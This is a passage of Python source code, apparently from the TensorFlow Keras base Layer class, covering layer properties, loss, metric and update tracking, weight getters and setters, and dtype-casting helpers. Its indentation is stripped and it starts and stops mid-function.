outputs = call_fn(cast_inputs, *args, **kwargs)
except errors.OperatorNotAllowedInGraphError as e:
raise TypeError('You are attempting to use Python control '
'flow in a layer that was not declared to be '
'dynamic. Pass `dynamic=True` to the class '
'constructor.\nEncountered error:\n"""\n' +
str(e) + '\n"""')
else:
# We will use static shape inference to return symbolic tensors
# matching the specifications of the layer outputs.
# Since `self.dynamic` is True, we will never attempt to
# run the underlying TF graph (which is disconnected).
# TODO(fchollet): consider py_func as an alternative, which
# would enable us to run the underlying graph if needed.
outputs = self._symbolic_call(inputs)
if outputs is None:
raise ValueError('A layer\'s `call` method should return a '
'Tensor or a list of Tensors, not None '
'(layer: ' + self.name + ').')
if base_layer_utils.have_all_keras_metadata(inputs):
if training_arg_passed_by_framework:
kwargs.pop('training')
if mask_arg_passed_by_framework:
kwargs.pop('mask')
inputs, outputs = self._set_connectivity_metadata_(
inputs, outputs, args, kwargs)
self._handle_activity_regularization(inputs, outputs)
self._set_mask_metadata(inputs, outputs, input_masks)
if hasattr(self, '_set_inputs') and not self.inputs:
# Subclassed network: explicitly set metadata normally set by
# a call to self._set_inputs().
# TODO(b/120997007): This should be done in Eager as well, but
# causes garbage collection issues because of the placeholders
# created on the default Keras graph.
self._set_inputs(inputs, outputs)
else:
# Eager execution on data tensors.
with backend.name_scope(self._name_scope()):
self._maybe_build(inputs)
cast_inputs = self._maybe_cast_inputs(inputs)
with base_layer_utils.autocast_context_manager(
self._compute_dtype):
outputs = self.call(cast_inputs, *args, **kwargs)
self._handle_activity_regularization(inputs, outputs)
self._set_mask_metadata(inputs, outputs, input_masks)
return outputs
@property
def dtype(self):
return self._dtype_policy.variable_dtype
@property
def name(self):
return self._name
@property
@trackable_layer_utils.cache_recursive_attribute('dynamic')
def dynamic(self):
# NOTE(taylorrobie): Currently self._dynamic is read-only. If that changes
# then this cache logic must be updated.
return self._dynamic
@property
@doc_controls.do_not_generate_docs
@trackable_layer_utils.cache_recursive_attribute('stateful')
def stateful(self):
return self._stateful
@stateful.setter
@trackable_layer_utils.invalidate_recursive_cache('stateful')
def stateful(self, value):
self._stateful = value
@property
def trainable(self):
return self._trainable
@trainable.setter
def trainable(self, value):
self._trainable = value
for layer in getattr(self, '_layers', []):
layer.trainable = value
@property
def activity_regularizer(self):
"""Optional regularizer function for the output of this layer."""
return self._activity_regularizer
@activity_regularizer.setter
def activity_regularizer(self, regularizer):
"""Optional regularizer function for the output of this layer."""
self._activity_regularizer = regularizer
@property
def input_spec(self):
return self._input_spec
@input_spec.setter
# Must be decorated to prevent tracking, since the input_spec can be nested
# InputSpec objects.
@trackable.no_automatic_dependency_tracking
def input_spec(self, value):
for v in nest.flatten(value):
if v is not None and not isinstance(v, InputSpec):
raise TypeError('Layer input_spec must be an instance of InputSpec. '
'Got: {}'.format(v))
self._input_spec = value
@property
def trainable_weights(self):
if self.trainable:
children_weights = self._gather_children_attribute('trainable_weights')
return self._dedup_weights(self._trainable_weights + children_weights)
else:
return []
@property
def non_trainable_weights(self):
if self.trainable:
children_weights = self._gather_children_attribute(
'non_trainable_weights')
non_trainable_weights = self._non_trainable_weights + children_weights
else:
children_weights = self._gather_children_attribute('weights')
non_trainable_weights = (
self._trainable_weights + self._non_trainable_weights +
children_weights)
return self._dedup_weights(non_trainable_weights)
@property
def weights(self):
"""Returns the list of all layer variables/weights.
Returns:
A list of variables.
"""
return self.trainable_weights + self.non_trainable_weights
@property
def updates(self):
collected_updates = []
all_layers = self._gather_unique_layers()
with backend.get_graph().as_default():
for layer in all_layers:
if not layer.trainable and not layer.stateful:
continue
for u in layer._updates:
if callable(u):
try:
u = u()
except errors.InaccessibleTensorError:
base_layer_utils.check_graph_consistency(
method='add_update', force_raise=True)
raise # check_graph_consistency may not always raise.
base_layer_utils.check_graph_consistency(u, method='add_update')
collected_updates.append(u)
return collected_updates
@property
def losses(self):
"""Losses which are associated with this `Layer`.
Variable regularization tensors are created when this property is accessed,
so it is eager safe: accessing `losses` under a `tf.GradientTape` will
propagate gradients back to the corresponding variables.
Returns:
A list of tensors.
"""
collected_losses = []
all_layers = self._gather_unique_layers()
for layer in all_layers:
# If any eager losses are present, we assume the model to be part of an
# eager training loop (either a custom one or the one used when
# `run_eagerly=True`) and so we always return just the eager losses.
if layer._eager_losses:
collected_losses.extend(layer._eager_losses)
else:
collected_losses.extend(layer._losses)
for regularizer in layer._callable_losses:
loss_tensor = regularizer()
if loss_tensor is not None:
collected_losses.append(loss_tensor)
return collected_losses
@doc_controls.for_subclass_implementers
def add_loss(self, losses, inputs=None):
"""Add loss tensor(s), potentially dependent on layer inputs.
Some losses (for instance, activity regularization losses) may be dependent
on the inputs passed when calling a layer. Hence, when reusing the same
layer on different inputs `a` and `b`, some entries in `layer.losses` may
be dependent on `a` and some on `b`. This method automatically keeps track
of dependencies.
This method can be used inside a subclassed layer or model's `call`
function, in which case `losses` should be a Tensor or list of Tensors.
Example:
```python
class MyLayer(tf.keras.layers.Layer):
def call(inputs, self):
self.add_loss(tf.abs(tf.reduce_mean(inputs)), inputs=True)
return inputs
```
This method can also be called directly on a Functional Model during
construction. In this case, any loss Tensors passed to this Model must
be symbolic and be able to be traced back to the model's `Input`s. These
losses become part of the model's topology and are tracked in `get_config`.
Example:
```python
inputs = tf.keras.Input(shape=(10,))
x = tf.keras.layers.Dense(10)(inputs)
outputs = tf.keras.layers.Dense(1)(x)
model = tf.keras.Model(inputs, outputs)
# Actvity regularization.
model.add_loss(tf.abs(tf.reduce_mean(x)))
```
If this is not the case for your loss (if, for example, your loss references
a `Variable` of one of the model's layers), you can wrap your loss in a
zero-argument lambda. These losses are not tracked as part of the model's
topology since they can't be serialized.
Example:
```python
inputs = tf.keras.Input(shape=(10,))
x = tf.keras.layers.Dense(10)(inputs)
outputs = tf.keras.layers.Dense(1)(x)
model = tf.keras.Model(inputs, outputs)
# Weight regularization.
model.add_loss(lambda: tf.reduce_mean(x.kernel))
```
The `get_losses_for` method allows to retrieve the losses relevant to a
specific set of inputs.
Arguments:
losses: Loss tensor, or list/tuple of tensors. Rather than tensors, losses
may also be zero-argument callables which create a loss tensor.
inputs: Ignored when executing eagerly. If anything other than None is
passed, it signals the losses are conditional on some of the layer's
inputs, and thus they should only be run where these inputs are
available. This is the case for activity regularization losses, for
instance. If `None` is passed, the losses are assumed
to be unconditional, and will apply across all dataflows of the layer
(e.g. weight regularization losses).
"""
def _tag_unconditional(loss):
"""Process the loss and tag it by setting loss._unconditional_loss."""
if callable(loss):
# We run the loss without autocasting, as regularizers are often
# numerically unstable in float16.
with base_layer_utils.autocast_context_manager(None):
loss = loss()
if loss is None:
return None # Will be filtered out when computing the .losses property
if not tensor_util.is_tensor(loss):
loss = ops.convert_to_tensor(loss, dtype=backend.floatx())
loss._unconditional_loss = (inputs is None) # pylint: disable=protected-access
return loss
losses = nest.flatten(losses)
callable_losses = []
eager_losses = []
symbolic_losses = []
for loss in losses:
if callable(loss):
callable_losses.append(functools.partial(_tag_unconditional, loss))
continue
if loss is None:
continue
if not tensor_util.is_tensor(loss):
loss = ops.convert_to_tensor(loss, dtype=backend.floatx())
# TF Functions should take the eager path.
if (tf_utils.is_symbolic_tensor(loss) and
not base_layer_utils.is_in_tf_function()):
symbolic_losses.append(_tag_unconditional(loss))
base_layer_utils.check_graph_consistency(loss, method='add_loss')
elif tensor_util.is_tensor(loss):
eager_losses.append(_tag_unconditional(loss))
self._callable_losses.extend(callable_losses)
in_call_context = base_layer_utils.call_context().in_call
if eager_losses and not in_call_context:
raise ValueError(
'Expected a symbolic Tensors or a callable for the loss value. '
'Please wrap your loss computation in a zero argument `lambda`.')
self._eager_losses.extend(eager_losses)
if in_call_context:
for symbolic_loss in symbolic_losses:
self._losses.append(symbolic_loss)
else:
for symbolic_loss in symbolic_losses:
if getattr(self, '_is_graph_network', False):
self._graph_network_add_loss(symbolic_loss)
else:
# Possible a loss was added in a Layer's `build`.
self._losses.append(symbolic_loss)
@trackable.no_automatic_dependency_tracking
def _clear_losses(self):
"""Used every step in eager to reset losses."""
self._eager_losses = []
if hasattr(self, '_layers'):
for layer in trackable_layer_utils.filter_empty_layer_containers(
self._layers):
layer._clear_losses()
@property
def metrics(self):
collected_metrics = []
all_layers = self._gather_unique_layers()
for layer in all_layers:
collected_metrics.extend(layer._metrics)
return collected_metrics
@doc_controls.for_subclass_implementers
def add_metric(self, value, aggregation=None, name=None):
"""Adds metric tensor to the layer.
Args:
value: Metric tensor.
aggregation: Sample-wise metric reduction function. If `aggregation=None`,
it indicates that the metric tensor provided has been aggregated
already. eg, `bin_acc = BinaryAccuracy(name='acc')` followed by
`model.add_metric(bin_acc(y_true, y_pred))`. If aggregation='mean', the
given metric tensor will be sample-wise reduced using `mean` function.
eg, `model.add_metric(tf.reduce_sum(outputs), name='output_mean',
aggregation='mean')`.
name: String metric name.
Raises:
ValueError: If `aggregation` is anything other than None or `mean`.
"""
if aggregation is not None and aggregation != 'mean':
raise ValueError(
'We currently support only `mean` sample-wise metric aggregation. '
'You provided aggregation=`%s`' % aggregation)
from_metric_obj = hasattr(value, '_metric_obj')
is_symbolic = tf_utils.is_symbolic_tensor(value)
in_call_context = base_layer_utils.call_context().in_call
if name is None and not from_metric_obj:
# Eg. `self.add_metric(math_ops.reduce_sum(x), aggregation='mean')`
# In eager mode, we use metric name to lookup a metric. Without a name,
# a new Mean metric wrapper will be created on every model/layer call.
# So, we raise an error when no name is provided.
# We will do the same for symbolic mode for consistency although a name
# will be generated if no name is provided.
# We will not raise this error in the foll use case for the sake of
# consistency as name in provided in the metric constructor.
# mean = metrics.Mean(name='my_metric')
# model.add_metric(mean(outputs))
raise ValueError('Please provide a name for your metric like '
'`self.add_metric(tf.reduce_sum(inputs), '
'name=\'mean_activation\', aggregation=\'mean\')`')
elif from_metric_obj:
name = value._metric_obj.name
if in_call_context:
# TF Function path should take the eager path.
if is_symbolic and not base_layer_utils.is_in_tf_function():
self._symbolic_add_metric(value, aggregation, name)
else:
self._eager_add_metric(value, aggregation, name)
else:
if not is_symbolic:
raise ValueError('Expected a symbolic Tensor for the metric value, '
'received: ' + str(value))
# Possible a metric was added in a Layer's `build`.
if not getattr(self, '_is_graph_network', False):
with backend.get_graph().as_default():
self._symbolic_add_metric(value, aggregation, name)
return
if from_metric_obj:
raise ValueError('Using the result of calling a `Metric` object '
'when calling `add_metric` on a Functional '
'Model is not supported. Please pass the '
'Tensor to monitor directly.')
# Insert layers into the Keras Graph Network.
self._graph_network_add_metric(value, aggregation, name)
@deprecation.deprecated_args(None, '`inputs` is now automatically inferred',
'inputs')
@doc_controls.for_subclass_implementers
def add_update(self, updates, inputs=None):
"""Add update op(s), potentially dependent on layer inputs.
Weight updates (for instance, the updates of the moving mean and variance
in a BatchNormalization layer) may be dependent on the inputs passed
when calling a layer. Hence, when reusing the same layer on
different inputs `a` and `b`, some entries in `layer.updates` may be
dependent on `a` and some on `b`. This method automatically keeps track
of dependencies.
The `get_updates_for` method allows to retrieve the updates relevant to a
specific set of inputs.
This call is ignored when eager execution is enabled (in that case, variable
updates are run on the fly and thus do not need to be tracked for later
execution).
Arguments:
updates: Update op, or list/tuple of update ops, or zero-arg callable
that returns an update op. A zero-arg callable should be passed in
order to disable running the updates by setting `trainable=False`
on this Layer, when executing in Eager mode.
inputs: Deprecated, will be automatically inferred.
"""
call_context = base_layer_utils.call_context()
if (ds_context.has_strategy() and
ds_context.in_cross_replica_context() and
# When saving the model, the distribution strategy context should be
# ignored, following the default path for adding updates.
not call_context.saving):
# Updates don't need to be run in a cross-replica context.
# TODO(b/142574744): Relax this restriction so that metrics/variables
# created outside of a strategy scope can be updated in the cross-replica
# context.
if (ops.executing_eagerly_outside_functions() and
not base_layer_utils.is_in_keras_graph()):
raise RuntimeError( # pylint: disable=g-doc-exception
'`add_update` was called in a cross-replica context. This is not '
'expected. If you require this feature, please file an issue.')
return
updates = generic_utils.to_list(updates)
# All updates can be run immediately in Eager or in a tf.function.
if base_layer_utils.is_in_eager_or_tf_function():
if not call_context.frozen:
for update in updates:
if callable(update):
update()
return
if call_context.in_call:
relevant_inputs = call_context.inputs
else:
inbound_nodes = getattr(self, '_inbound_nodes', [])
relevant_inputs = [node.input_tensors for node in inbound_nodes]
def process_update(x):
"""Standardize update ops.
Arguments:
x: Tensor, op, or callable.
Returns:
An update op.
"""
if callable(x):
update = lambda: process_update(x())
if not ops.executing_eagerly_outside_functions():
# In V1 mode, call the callable right away and process. This is needed
# for TPU strategy.
return update()
elif isinstance(x, ops.Operation):
update = x
elif hasattr(x, 'op'):
update = x.op
else:
update = ops.convert_to_tensor(x)
reachable = tf_utils.get_reachable_from_inputs(relevant_inputs, [update])
update._unconditional_update = update not in reachable
return update
updates = [process_update(x) for x in updates]
# Non-callable Updates are run automatically inside `call` in V2, so
# they do not need to be tracked later.
if ops.executing_eagerly_outside_functions() and call_context.in_call:
updates = [u for u in updates if callable(u)]
self._updates.extend(updates)
def set_weights(self, weights):
"""Sets the weights of the layer, from Numpy arrays.
The weights of a layer represent the state of the layer. This function
sets the weight values from numpy arrays. The weight values should be
passed in the order they are created by the layer. Note that the layer's
weights must be instantiated before calling this function by calling
the layer.
For example, a Dense layer returns a list of two values-- per-output
weights and the bias value. These can be used to set the weights of another
Dense layer:
>>> a = tf.keras.layers.Dense(1,
... kernel_initializer=tf.constant_initializer(1.))
>>> a_out = a(tf.convert_to_tensor([[1., 2., 3.]]))
>>> a.get_weights()
[array([[1.],
[1.],
[1.]], dtype=float32), array([0.], dtype=float32)]
>>> b = tf.keras.layers.Dense(1,
... kernel_initializer=tf.constant_initializer(2.))
>>> b_out = b(tf.convert_to_tensor([[10., 20., 30.]]))
>>> b.get_weights()
[array([[2.],
[2.],
[2.]], dtype=float32), array([0.], dtype=float32)]
>>> b.set_weights(a.get_weights())
>>> b.get_weights()
[array([[1.],
[1.],
[1.]], dtype=float32), array([0.], dtype=float32)]
Arguments:
weights: a list of Numpy arrays. The number
of arrays and their shape must match
number of the dimensions of the weights
of the layer (i.e. it should match the
output of `get_weights`).
Raises:
ValueError: If the provided weights list does not match the
layer's specifications.
"""
params = self.weights
expected_num_weights = 0
for param in params:
if isinstance(param, base_layer_utils.TrackableWeightHandler):
expected_num_weights += param.num_tensors
else:
expected_num_weights += 1
if expected_num_weights != len(weights):
raise ValueError(
'You called `set_weights(weights)` on layer "%s" '
'with a weight list of length %s, but the layer was '
'expecting %s weights. Provided weights: %s...' %
(self.name, len(weights), expected_num_weights, str(weights)[:50]))
weight_index = 0
weight_value_tuples = []
for param in params:
if isinstance(param, base_layer_utils.TrackableWeightHandler):
num_tensors = param.num_tensors
tensors = weights[weight_index:weight_index + num_tensors]
param.set_weights(tensors)
weight_index += num_tensors
else:
weight = weights[weight_index]
ref_shape = param.shape
if not ref_shape.is_compatible_with(weight.shape):
raise ValueError(
'Layer weight shape %s not compatible with provided weight '
'shape %s' % (ref_shape, weight.shape))
weight_value_tuples.append((param, weight))
weight_index += 1
backend.batch_set_value(weight_value_tuples)
def get_weights(self):
"""Returns the current weights of the layer.
The weights of a layer represent the state of the layer. This function
returns both trainable and non-trainable weight values associated with this
layer as a list of Numpy arrays, which can in turn be used to load state
into similarly parameterized layers.
For example, a Dense layer returns a list of two values-- per-output
weights and the bias value. These can be used to set the weights of another
Dense layer:
>>> a = tf.keras.layers.Dense(1,
... kernel_initializer=tf.constant_initializer(1.))
>>> a_out = a(tf.convert_to_tensor([[1., 2., 3.]]))
>>> a.get_weights()
[array([[1.],
[1.],
[1.]], dtype=float32), array([0.], dtype=float32)]
>>> b = tf.keras.layers.Dense(1,
... kernel_initializer=tf.constant_initializer(2.))
>>> b_out = b(tf.convert_to_tensor([[10., 20., 30.]]))
>>> b.get_weights()
[array([[2.],
[2.],
[2.]], dtype=float32), array([0.], dtype=float32)]
>>> b.set_weights(a.get_weights())
>>> b.get_weights()
[array([[1.],
[1.],
[1.]], dtype=float32), array([0.], dtype=float32)]
Returns:
Weights values as a list of numpy arrays.
"""
weights = self.weights
output_weights = []
for weight in weights:
if isinstance(weight, base_layer_utils.TrackableWeightHandler):
output_weights.extend(weight.get_tensors())
else:
output_weights.append(weight)
return backend.batch_get_value(output_weights)
def get_updates_for(self, inputs):
"""Retrieves updates relevant to a specific set of inputs.
Arguments:
inputs: Input tensor or list/tuple of input tensors.
Returns:
List of update ops of the layer that depend on `inputs`.
"""
if inputs is None:
# Requesting unconditional updates.
return [u for u in self.updates if u._unconditional_update]
# Requesting input-conditional updates.
updates = [u for u in self.updates if not u._unconditional_update]
inputs = nest.flatten(inputs)
reachable = tf_utils.get_reachable_from_inputs(inputs, updates)
return [u for u in updates if u in reachable]
def get_losses_for(self, inputs):
"""Retrieves losses relevant to a specific set of inputs.
Arguments:
inputs: Input tensor or list/tuple of input tensors.
Returns:
List of loss tensors of the layer that depend on `inputs`.
"""
if inputs is None:
# Requesting unconditional losses.
return [l for l in self.losses if l._unconditional_loss]
# Requesting input-conditional losses.
losses = [l for l in self.losses if not l._unconditional_loss]
inputs = nest.flatten(inputs)
reachable = tf_utils.get_reachable_from_inputs(inputs, losses)
return [l for l in losses if l in reachable]
def get_input_mask_at(self, node_index):
"""Retrieves the input mask tensor(s) of a layer at a given node.
Arguments:
node_index: Integer, index of the node
from which to retrieve the attribute.
E.g. `node_index=0` will correspond to the
first time the layer was called.
Returns:
A mask tensor
(or list of tensors if the layer has multiple inputs).
"""
inputs = self.get_input_at(node_index)
if isinstance(inputs, list):
return [getattr(x, '_keras_mask', None) for x in inputs]
else:
return getattr(inputs, '_keras_mask', None)
def get_output_mask_at(self, node_index):
"""Retrieves the output mask tensor(s) of a layer at a given node.
Arguments:
node_index: Integer, index of the node
from which to retrieve the attribute.
E.g. `node_index=0` will correspond to the
first time the layer was called.
Returns:
A mask tensor
(or list of tensors if the layer has multiple outputs).
"""
output = self.get_output_at(node_index)
if isinstance(output, list):
return [getattr(x, '_keras_mask', None) for x in output]
else:
return getattr(output, '_keras_mask', None)
@property
def input_mask(self):
"""Retrieves the input mask tensor(s) of a layer.
Only applicable if the layer has exactly one inbound node,
i.e. if it is connected to one incoming layer.
Returns:
Input mask tensor (potentially None) or list of input
mask tensors.
Raises:
AttributeError: if the layer is connected to
more than one incoming layers.
"""
inputs = self.input
if isinstance(inputs, list):
return [getattr(x, '_keras_mask', None) for x in inputs]
else:
return getattr(inputs, '_keras_mask', None)
@property
def output_mask(self):
"""Retrieves the output mask tensor(s) of a layer.
Only applicable if the layer has exactly one inbound node,
i.e. if it is connected to one incoming layer.
Returns:
Output mask tensor (potentially None) or list of output
mask tensors.
Raises:
AttributeError: if the layer is connected to
more than one incoming layers.
"""
output = self.output
if isinstance(output, list):
return [getattr(x, '_keras_mask', None) for x in output]
else:
return getattr(output, '_keras_mask', None)
def get_input_shape_at(self, node_index):
"""Retrieves the input shape(s) of a layer at a given node.
Arguments:
node_index: Integer, index of the node
from which to retrieve the attribute.
E.g. `node_index=0` will correspond to the
first time the layer was called.
Returns:
A shape tuple
(or list of shape tuples if the layer has multiple inputs).
Raises:
RuntimeError: If called in Eager mode.
"""
return self._get_node_attribute_at_index(node_index, 'input_shapes',
'input shape')
def get_output_shape_at(self, node_index):
"""Retrieves the output shape(s) of a layer at a given node.
Arguments:
node_index: Integer, index of the node
from which to retrieve the attribute.
E.g. `node_index=0` will correspond to the
first time the layer was called.
Returns:
A shape tuple
(or list of shape tuples if the layer has multiple outputs).
Raises:
RuntimeError: If called in Eager mode.
"""
return self._get_node_attribute_at_index(node_index, 'output_shapes',
'output shape')
def get_input_at(self, node_index):
"""Retrieves the input tensor(s) of a layer at a given node.
Arguments:
node_index: Integer, index of the node
from which to retrieve the attribute.
E.g. `node_index=0` will correspond to the
first time the layer was called.
Returns:
A tensor (or list of tensors if the layer has multiple inputs).
Raises:
RuntimeError: If called in Eager mode.
"""
return self._get_node_attribute_at_index(node_index, 'input_tensors',
'input')
def get_output_at(self, node_index):
"""Retrieves the output tensor(s) of a layer at a given node.
Arguments:
node_index: Integer, index of the node
from which to retrieve the attribute.
E.g. `node_index=0` will correspond to the
first time the layer was called.
Returns:
A tensor (or list of tensors if the layer has multiple outputs).
Raises:
RuntimeError: If called in Eager mode.
"""
return self._get_node_attribute_at_index(node_index, 'output_tensors',
'output')
@property
def input(self):
"""Retrieves the input tensor(s) of a layer.
Only applicable if the layer has exactly one input,
i.e. if it is connected to one incoming layer.
Returns:
Input tensor or list of input tensors.
Raises:
RuntimeError: If called in Eager mode.
AttributeError: If no inbound nodes are found.
"""
if not self._inbound_nodes:
raise AttributeError('Layer ' + self.name +
' is not connected, no input to return.')
return self._get_node_attribute_at_index(0, 'input_tensors', 'input')
@property
def output(self):
"""Retrieves the output tensor(s) of a layer.
Only applicable if the layer has exactly one output,
i.e. if it is connected to one incoming layer.
Returns:
Output tensor or list of output tensors.
Raises:
AttributeError: if the layer is connected to more than one incoming
layers.
RuntimeError: if called in Eager mode.
"""
if not self._inbound_nodes:
raise AttributeError('Layer ' + self.name + ' has no inbound nodes.')
return self._get_node_attribute_at_index(0, 'output_tensors', 'output')
@property
def input_shape(self):
"""Retrieves the input shape(s) of a layer.
Only applicable if the layer has exactly one input,
i.e. if it is connected to one incoming layer, or if all inputs
have the same shape.
Returns:
Input shape, as an integer shape tuple
(or list of shape tuples, one tuple per input tensor).
Raises:
AttributeError: if the layer has no defined input_shape.
RuntimeError: if called in Eager mode.
"""
if not self._inbound_nodes:
raise AttributeError('The layer has never been called '
'and thus has no defined input shape.')
all_input_shapes = set(
[str(node.input_shapes) for node in self._inbound_nodes])
if len(all_input_shapes) == 1:
return self._inbound_nodes[0].input_shapes
else:
raise AttributeError('The layer "' + str(self.name) +
' has multiple inbound nodes, '
'with different input shapes. Hence '
'the notion of "input shape" is '
'ill-defined for the layer. '
'Use `get_input_shape_at(node_index)` '
'instead.')
def count_params(self):
"""Count the total number of scalars composing the weights.
Returns:
An integer count.
Raises:
ValueError: if the layer isn't yet built
(in which case its weights aren't yet defined).
"""
if not self.built:
if getattr(self, '_is_graph_network', False):
with tf_utils.maybe_init_scope(self):
self._maybe_build(self.inputs)
else:
raise ValueError('You tried to call `count_params` on ' + self.name +
', but the layer isn\'t built. '
'You can build it manually via: `' + self.name +
'.build(batch_input_shape)`.')
return layer_utils.count_params(self.weights)
@property
def output_shape(self):
"""Retrieves the output shape(s) of a layer.
Only applicable if the layer has one output,
or if all outputs have the same shape.
Returns:
Output shape, as an integer shape tuple
(or list of shape tuples, one tuple per output tensor).
Raises:
AttributeError: if the layer has no defined output shape.
RuntimeError: if called in Eager mode.
"""
if not self._inbound_nodes:
raise AttributeError('The layer has never been called '
'and thus has no defined output shape.')
all_output_shapes = set(
[str(node.output_shapes) for node in self._inbound_nodes])
if len(all_output_shapes) == 1:
return self._inbound_nodes[0].output_shapes
else:
raise AttributeError('The layer "%s"'
' has multiple inbound nodes, '
'with different output shapes. Hence '
'the notion of "output shape" is '
'ill-defined for the layer. '
'Use `get_output_shape_at(node_index)` '
'instead.' % self.name)
@property
@doc_controls.do_not_doc_inheritable
def inbound_nodes(self):
"""Deprecated, do NOT use! Only for compatibility with external Keras."""
return self._inbound_nodes
@property
@doc_controls.do_not_doc_inheritable
def outbound_nodes(self):
"""Deprecated, do NOT use! Only for compatibility with external Keras."""
return self._outbound_nodes
##############################################################################
# Methods & attributes below are public aliases of other methods. #
##############################################################################
@deprecation.deprecated(
date=None, instructions='Please use `layer.__call__` method instead.')
@doc_controls.do_not_doc_inheritable
def apply(self, inputs, *args, **kwargs):
"""Deprecated, do NOT use!
This is an alias of `self.__call__`.
Arguments:
inputs: Input tensor(s).
*args: additional positional arguments to be passed to `self.call`.
**kwargs: additional keyword arguments to be passed to `self.call`.
Returns:
Output tensor(s).
"""
return self.__call__(inputs, *args, **kwargs)
@deprecation.deprecated(
date=None, instructions='Please use `layer.add_weight` method instead.')
@doc_controls.do_not_doc_inheritable
def add_variable(self, *args, **kwargs):
"""Deprecated, do NOT use! Alias for `add_weight`."""
return self.add_weight(*args, **kwargs)
@property
def variables(self):
"""Returns the list of all layer variables/weights.
Alias of `self.weights`.
Returns:
A list of variables.
"""
return self.weights
@property
def trainable_variables(self):
return self.trainable_weights
@property
def non_trainable_variables(self):
return self.non_trainable_weights
##############################################################################
# Methods & attributes below are all private and only used by the framework. #
##############################################################################
def _set_dtype_policy(self, dtype):
"""Sets self._dtype_policy."""
if isinstance(dtype, policy.Policy):
self._dtype_policy = dtype
elif isinstance(dtype, dict):
self._dtype_policy = policy.deserialize(dtype)
elif dtype:
self._dtype_policy = policy.Policy(dtypes.as_dtype(dtype).name)
else:
self._dtype_policy = policy.global_policy()
# This has no impact on the layer behavior, and is only used for printing
# warnings.
self._dtype_defaulted_to_floatx = (not dtype and
policy.policy_defaults_to_floatx())
# TODO(reedwm): Expose this property?
@property
def _compute_dtype(self):
"""The layer's compute dtype.
Unless mixed-precision is used, this is the same as `Layer.dtype`.
If self._autocast is True, layer's will cast floating-point inputs to this.
Returns:
The layer's compute dtype.
"""
return self._dtype_policy.compute_dtype
def _maybe_cast_inputs(self, inputs):
"""Maybe casts the inputs to the compute dtype.
If self._compute_dtype is floating-point, and self_autocast is True,
floating-point inputs are casted to self._compute_dtype.
Args:
inputs: Input tensor, or structure of input tensors.
Returns:
`inputs`, but tensors may have been casted to self._compute_dtype
"""
compute_dtype = self._compute_dtype
if (self._autocast and compute_dtype and
dtypes.as_dtype(compute_dtype).is_floating):
def f(x):
"""Cast a single Tensor or TensorSpec to the compute dtype."""
cast_types = (ops.Tensor, sparse_tensor.SparseTensor,
ragged_tensor.RaggedTensor)
if (isinstance(x, cast_types) and x.dtype.is_floating and
x.dtype.base_dtype.name != compute_dtype):
if self._dtype_defaulted_to_floatx:
self._warn_about_input_casting(x.dtype.base_dtype)
return math_ops.cast(x, compute_dtype)
elif isinstance(x, tensor_spec.TensorSpec) and x.dtype.is_floating:
# Inputs may be TensorSpecs when this function is called from
# model._set_inputs.
return tensor_spec.TensorSpec(x.shape, compute_dtype, x.name)
else:
return x
return nest.map_structure(f, inputs)
else:
return inputs
def _warn_about_input_casting(self, input_dtype):
# self._already_warned_about_input_casting is only retrieved or set in this
# function.
already_warned = getattr(self, '_already_warned_about_input_casting', False)
if not already_warned:
tf_logging.warn(
"Layer {self.name} is casting an input tensor from dtype "
"{input_dtype} to the layer's dtype of {layer_dtype}, which is new "
"behavior in TensorFlow 2. The layer has dtype {layer_dtype} "
"because it's dtype defaults to floatx.\n\n"
""
"If you intended to run this layer in {layer_dtype}, you can safely "
"ignore this warning. If in doubt, this warning is likely only an "
"issue if you are porting a TensorFlow 1.X model to TensorFlow 2.\n\n"
""
"To change all layers to have dtype {input_dtype} by default, call "
"`tf.keras.backend.set_floatx('{input_dtype}')`. To change just this "
"layer, pass dtype='{input_dtype}' to the layer constructor. If you "
"are the author of this layer, you can disable autocasting by "
"passing autocast=False to the base Layer constructor.\n".format(
self=self,
input_dtype=input_dtype.name,
layer_dtype=self._compute_dtype))
self._already_warned_about_input_casting = True
# _dtype used to be an attribute set in the constructor. We still expose it
# because some clients still use it.
# TODO(reedwm): Deprecate, then remove the _dtype property.
@property
def _dtype(self):
# This is equivalent to returning self.dtype . We do not return self.dtype
# as it would cause infinite recursion in a few subclasses, which override
# "dtype" to return self._dtype.
return self._dtype_policy.variable_dtype
@_dtype.setter
def _dtype(self, value):
value = dtypes.as_dtype(value).name
self._dtype_policy = policy.Policy(value)
def _name_scope(self):
return self.name
def _init_set_name(self, name, zero_based=True):
if not name:
self._name = backend.unique_object_name(
generic_utils.to_snake_case(self.__class__.__name__),
zero_based=zero_based)
else:
self._name = name
def _get_existing_metric(self, name=None):
match = [m for m in self._metrics if m.name == name]
if not match:
return
if len(match) > 1:
raise ValueError(
'Please provide different names for the metrics you have added. '
'We found {} metrics with the name: "{}"'.format(len(match), name))
return match[0]
def _eager_add_metric(self, value, aggregation=None, name=None):
# If the given metric is available in `metrics` list we just update state
# on it, otherwise we create a new metric instance and
# add it to the `metrics` list.
metric_obj = getattr(value, '_metric_obj', None)
if metric_obj:
name = metric_obj.name
match = self._get_existing_metric(name)
if match:
# Tensors that come from a Metric object already updated the Metric state.
if not metric_obj:
match(value)
return
if not metric_obj:
assert aggregation is not None
metric_obj, _ = base_layer_utils.create_mean_metric(value, name)
self._metrics.append(metric_obj)
def _symbolic_add_metric(self, value, aggregation=None, name=None):
base_layer_utils.check_graph_consistency(value, method='add_metric')
match = self._get_existing_metric(name)
if aggregation is None:
# Iterate over the metrics and check if the given metric exists already.
# This can happen when a metric instance is created in subclassed model
# layer `__init__` and we have tracked that instance already in
# model.__setattr__.
if match:
result_tensor = value
metric_obj = match
elif hasattr(value, '_metric_obj'):
# We track the instance using the metadata on the result tensor.
result_tensor = value
metric_obj = result_tensor._metric_obj
self._metrics.append(metric_obj)
else:
raise ValueError(
'We do not support adding an aggregated metric result tensor that '
'is not the output of a `tf.keras.metrics.Metric` metric instance. '
'Without having access to the metric instance we cannot reset the '
'state of a metric after every epoch during training. You can '
'create a `tf.keras.metrics.Metric` instance and pass the result '
'here or pass an un-aggregated result with `aggregation` parameter '
'set as `mean`. For example: `self.add_metric(tf.reduce_sum(inputs)'
', name=\'mean_activation\', aggregation=\'mean\')`')
else:
# If a non-aggregated tensor is given as input (ie. `aggregation` is
# explicitly set to `mean`), we wrap the tensor in `Mean` metric.
if match:
result_tensor = match(value)
metric_obj = match
else:
metric_obj, result_tensor = base_layer_utils.create_mean_metric(
value, name)
self._metrics.append(metric_obj)
def _handle_weight_regularization(self, name, variable, regularizer):
"""Create lambdas which compute regularization losses."""
def _loss_for_variable(v):
"""Creates a regularization loss `Tensor` for variable `v`."""
